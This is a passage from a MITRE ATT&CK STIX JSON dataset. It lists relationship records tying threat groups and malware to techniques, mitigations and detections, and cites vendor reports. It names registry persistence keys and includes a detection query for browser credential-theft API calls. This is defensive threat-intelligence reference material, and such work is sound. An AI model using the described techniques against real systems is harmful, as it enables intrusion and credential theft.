2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"}],"modified":"2019-04-29T18:01:20.287Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can copy files to remote machines.(Citation: FireEye Clandestine Fox)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f66247c0-1d4b-475b-8336-04530edb1455","type":"relationship","created":"2021-02-08T23:18:31.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.879Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) has used dynamic API resolution to avoid identifiable strings within the binary, including RegEnumKeyW.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f66a0d09-cb4a-4fb5-9f83-b7316e3c7db7","created":"2024-09-16T08:42:58.893Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:42:58.893Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) decryption relies on the infected machine's `HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGUID` value.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f66af3ae-266c-4aa1-a6b4-f1ff87aff601","type":"relationship","created":"2019-06-21T17:38:45.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T14:12:33.348Z","description":"Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f67134f6-7f34-4b8a-89ef-9ecd6d9ca191","type":"relationship","created":"2020-01-30T19:55:39.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T19:55:39.116Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f67b8650-0ebb-417f-a755-2e139796ec11","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:17:55.635Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc that would aid in the manipulation of data to hide activity","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f68dea79-cd44-4791-bee1-e0650868bd28","created":"2024-03-25T19:33:17.137Z","revoked":false,"external_references":[{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T19:33:17.137Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has used Amazon Web Services to host second-stage servers.(Citation: SentinelOne SocGholish Infrastructure November 2022)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f690a8fd-1a22-4f6d-bbd2-76cc344ecf5e","type":"relationship","created":"2022-02-02T15:13:33.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:13:33.986Z","description":"[LitePower](https://attack.mitre.org/software/S0680) can identify installed AV software.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6910156-0157-4508-b8bd-bbbed04b0df6","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:11:56.616Z","description":"Monitor for API calls that may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)\n\nAnalytic 1 - Suspicious API calls related to web browser credential access.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") event_type=\"api_call\"\n(api IN (\"CryptUnprotectData\", \"NSS_Init\", \"PK11SDR_Decrypt\", \"SecItemCopyMatching\", \"SecItemAdd\", \"SecItemUpdate\", \"SecItemDelete\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6915cfa-4c11-4830-bcd8-aa648596b895","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2019-05-03T16:42:19.225Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) digitally signed an executable with a stolen certificate from legitimate company AI Squared.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6946801-949a-45e8-b99a-5f58fe119078","type":"relationship","created":"2020-06-10T21:56:39.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:39.961Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool connects to the designated C2 server via HTTP.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"},{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2019-04-17T22:12:24.732Z","description":"If establishing persistence by installation as a new service fails, one variant of [Elise](https://attack.mitre.org/software/S0081) establishes persistence for the created .exe file by setting the following Registry key: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost : %APPDATA%\\Microsoft\\Network\\svchost.exe. Other variants have set the following Registry keys for persistence: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\imejp : [self] and HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\IAStorD.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f6a8aba6-d711-45bd-a99e-7a12b8c72ae0","created":"2022-06-06T18:07:01.260Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has conducted internal spearphishing attacks against executives, HR, and IT personnel to gain information and access.(Citation: SecureWorks August 2019)","modified":"2022-06-06T18:07:01.260Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6ac9b3a-9a1f-40be-b541-bcdb8aac6845","type":"relationship","created":"2020-05-12T21:44:40.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.357Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) listed all running processes on the machine.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6ae27d6-5391-467d-a25d-e4172daa963d","created":"2023-06-14T20:45:06.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:32:22.475Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) encrypts C2 communication using a combination of AES, XOR, ROTATE encryption, and ZLIB compression.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6b38431-d625-41e6-9785-044b5d26f6fd","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for changes made to files that may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6b88216-8142-4151-af2b-31257a3c2857","created":"2023-07-27T20:46:04.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-06T13:44:01.712Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used `netstat` and other net commands for network reconnaissance efforts.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6bb4feb-bef7-4d0d-ae26-30b2500a2cd4","created":"2024-06-27T20:24:05.708Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T20:24:05.708Z","description":"[LunarLoader](https://attack.mitre.org/software/S1143) has the ability to use Microsoft Outlook add-ins to establish persistence. (Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6c52b80-6bbc-4a80-9455-40046356cb98","type":"relationship","created":"2020-02-11T19:13:33.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:13:33.736Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f6c9d3c4-2e47-4881-a376-e60791092fc5","created":"2021-01-04T20:42:22.247Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) has a data wiper component that enumerates keys in the Registry HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.842Z","description":"[Reaver](https://attack.mitre.org/software/S0172) collects the victim's IP address.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6cd8be3-3145-4088-ae9d-d006be865c01","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"},{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2020-03-12T00:31:59.960Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6cf6ad8-7a42-4cf5-82ab-45d6a5107aeb","type":"relationship","created":"2020-06-10T21:56:40.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-22T15:45:19.153Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d0705a-e4a5-4aae-a8a3-b1c2b7287469","type":"relationship","created":"2019-02-18T20:33:58.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","source_name":"Palo Alto OilRig Sep 2018"}],"modified":"2019-04-23T19:32:14.804Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d1c615-16df-4527-ad74-ce8623f87ce0","type":"relationship","created":"2020-05-05T20:54:53.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T16:28:45.704Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used e-mails with malicious documents to lure victims into installing malware.(Citation: TrendMicro BlackTech June 2017)(Citation: NTT Security Flagpro new December 2021)\t ","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.935Z","description":"[RTM](https://attack.mitre.org/software/S0148) can capture screenshots.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 